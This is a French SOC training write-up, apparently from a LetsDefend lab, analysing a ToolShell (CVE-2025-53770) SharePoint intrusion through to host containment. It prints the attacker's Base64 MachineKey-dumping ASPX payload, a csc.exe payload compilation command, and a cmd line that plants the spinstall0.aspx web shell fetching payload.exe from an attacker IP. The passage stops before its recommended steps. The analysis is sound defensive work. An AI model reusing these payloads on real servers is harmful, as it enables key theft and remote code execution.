Procédure détaillée de l'exploitation de la vulnérabilité zero-day CVE-2025-53770 (ToolShell) dans SharePoint, incluant l'analyse RCE, l'exfiltration de MachineKey, la compilation de la charge utile, le déploiement du web shell et les étapes de confinement de la réponse aux incidents.
Je me suis plongé dans un zero-day SharePoint appelé ToolShell (CVE-2025-53770) dans le laboratoire LetsDefend. J'ai simulé une attaque zero-day réelle où une requête POST malveillante a contourné l'authentification, exécuté PowerShell pour voler les clés MachineKeySection, compilé payload.exe, et déposé une web shell (spinstall0.aspx). J'ai tout enregistré, analysé le comportement, et contenu l'hôte. Ce README couvre les processus d'attaque, les étapes pour contrer l'attaque, et les leçons apprises.
Il s'agit d'une alerte critique et d'une activité suspecte qui a ciblé ToolPane.aspx de MS SharePoint avec une charge utile de grande taille et un Referer usurpé. Le contexte CVE est lié à CVE-2025-53770. Il s'agit d'une vulnérabilité critique d'exploitation de SharePoint via une requête POST spécialement conçue qui permettait à des attaquants non authentifiés. L'exploitation réussie a conduit à une exécution de code à distance (RCE) sur le serveur. J'ai traité cela comme actif, de haute urgence et j'ai supposé une possible compromission réussie jusqu'à preuve du contraire.
Microsoft SharePoint est une plateforme de collaboration d'entreprise et de gestion de documents — essentiellement un hub sécurisé et organisé pour les fichiers, les workflows et les applications web internes.
Un zero-day critique dans Microsoft SharePoint Server qui permet aux attaquants d'exécuter du code à distance sans authentification. Il abuse de la désérialisation non sécurisée et s'enchaîne souvent avec d'autres failles SharePoint (CVE-2025-49704, CVE-2025-49706) pour une prise de contrôle complète du système. Noté CVSS 9.8 (Critique) et activement exploité dans la nature.
J'ai analysé l'adresse IP de l'expéditeur (adresse IP source) avec VirusTotal
Adresse IP source : 107.191.58.76

De cela, je peux voir que 15/95 fournisseurs de sécurité ont signalé cette adresse IP comme malveillante, ce qui en dit déjà long sur l'IP.
Maintenant, je dois rechercher la localisation de l'IP. Cela a été fait à l'aide d'AbuseIPDB et comme montré ci-dessous, l'IP est connue pour le piratage, la force brute, l'attaque d'applications web, le scan de ports, l'empoisonnement DNS.

En tant qu'analyste SOC résolvant ce problème, l'une des étapes importantes à suivre est l'analyse du point de terminaison. J'ai recherché l'hôte sur la sécurité des points de terminaison avec le nom 'SharePoint01' et puisque l'IP est connue pour le piratage, pour une analyse plus approfondie.

après avoir localisé l'hôte, j'ai consulté l'historique du terminal pour vérifier la ligne de commande

PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==
En raison de la charge utile, j'ai procédé au décodeur Base64 pour décoder la commande comme montré ci-dessous

L'utilisateur a lancé powershell depuis le répertoire système “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” et avec des commandes encodées un script C# côté serveur ASP.NET.
La charge utile tente de lire et de divulguer la MachineKey ASP.NET pour l'hôte, un secret qui peut être utilisé pour forger des jetons ViewState/désérialisation et permettre le contournement d'authentification et l'exécution de code à distance. Cela correspond au modèle d'exploitation ToolShell (abus de MachineKey). Indicateurs de compromission (IoCs) clés dans la commande avec l'utilisation du décodage et encodage Base64.
L'attaquant a tenté d'accéder à la configuration privée et vise à exploiter, abusant ainsi de .NET. Du décodeur Base64, nous pouvons voir System.Web.Configuration.MachineKeySection et GetApplicationConfig : MachineKeySection contient :
Ces clés sont des secrets utilisés pour protéger le ViewState et l'authentification par formulaires. Les récupérer est une tentative directe d'obtenir du matériel qui permet de forger/valider des charges utiles ASP.NET sérialisées → condition préalable directe pour l'exécution de code à distance basée sur la désérialisation.
À peine TROIS secondes après comme montré ci-dessus, l'attaquant a envoyé une autre commande

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs.
À peine DEUX secondes après comme montré ci-dessus, l'attaquant a envoyé une autre commande

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs."C:\Windows\System32\cmd.exe" /c echo <form runat="server"> <object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Redirect"> <param name="Button" value="Test"> <param name="Url" value="http://107.191.58.76/payload.exe\"> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx.
À peine CINQ secondes après comme montré ci-dessus, l'attaquant a envoyé une autre commande
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command"[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"
Ces activités montrent un schéma cohérent et je le traiterai comme une compromission de haute confiance, et j'ai collecté des artefacts médico-légaux immédiatement.
Après avoir rassemblé toutes les commandes et résultats, j'ai fait des recherches supplémentaires sur le renseignement sur les menaces et j'ai cherché par type de données IP. La source de données montre OnlyHunt et TAG CVE-2025-53770 et avec Referer: /_layouts/SignOut.aspx pour le canal d'investigation des alertes montre qu'il s'agit d'un sharepoint légitime qui a été usurpé ou utilisé, puis déconnecté de sharepoint pour faire apparaître qu'il provenait d'une action normale de sharepoint. À ce moment, j'ai contenu l'hôte.
Date/Time:2025-07-2213:07(event) Analyst:[YourName] CaseID:SOC342 Host:SharePoint01 Sévérité : Critique
J'ai repéré une tentative d'exploitation critique de vulnérabilité zero-day le 2025-07-22 à 13:07 appelée ToolShell (CVE-2025-53770) sur un serveur SharePoint sur site avec le nom d'hôte SharePoint01. L'attaquant, depuis une IP malveillante connue (107.191.58.76) qui est la source de la POST et de l'hôte de la charge utile, a contourné l'authentification pour exécuter du code à distance sur le serveur. L'attaquant a téléchargé/créé spinstall0.aspx dans le répertoire LAYOUTS de SharePoint et a exécuté PowerShell pour lire le matériel MachineKey ASP.NET et compiler une charge utile C# via csc.exe. Permettant ainsi de fabriquer des charges utiles de confiance. Cette activité est cohérente avec le déploiement de web shell via spinstall0.aspx dans SharePoint, l'exfiltration de MachineKey et la compilation de charge utile sur l'hôte, tous des indicateurs de compromission de haute confiance.
Après avoir découvert la compromission, j'ai recommandé dans la note d'analyste que les étapes suivantes soient prises